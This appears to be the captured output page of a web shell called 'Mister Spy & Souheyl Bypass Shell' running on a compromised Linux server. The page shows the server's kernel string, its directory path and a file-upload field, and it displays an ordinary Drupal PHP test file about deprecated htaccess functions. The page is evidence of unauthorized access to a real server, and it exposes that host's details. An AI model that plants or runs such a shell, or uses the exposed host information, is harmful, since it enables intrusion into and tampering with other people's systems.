Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/testsite/web/core/tests/Drupal/KernelTests/Core/File/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/testsite/web/core/tests/Drupal/KernelTests/Core/File/HtaccessDeprecationTest.php

<?php

namespace Drupal\KernelTests\Core\File;

use Drupal\Core\File\FileSystemInterface;
use Drupal\Core\Site\Settings;
use Drupal\KernelTests\KernelTestBase;

/**
 * Test for htaccess deprecations.
 *
 * @group File
 * @group legacy
 */
class HtaccessDeprecationTest extends KernelTestBase {

  /**
   * Tests messages for deprecated functions.
   *
   * @expectedDeprecation file_save_htaccess() is deprecated in drupal:8.8.0 and is removed from drupal:9.0.0. Use \Drupal\Component\FileSecurity\FileSecurity::writeHtaccess() instead. See https://www.drupal.org/node/2940126
   * @expectedDeprecation file_ensure_htaccess() is deprecated in drupal:8.8.0 and is removed from drupal:9.0.0. Use \Drupal\Core\File\HtaccessWriter::ensure() instead. See https://www.drupal.org/node/2940126
   */
  public function testDeprecatedFunctions() {
    $public = Settings::get('file_public_path') . '/test/public';
    \Drupal::service('file_system')->prepareDirectory($public, FileSystemInterface::CREATE_DIRECTORY);
    $this->assertTrue(file_save_htaccess($public));
    file_ensure_htaccess();
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net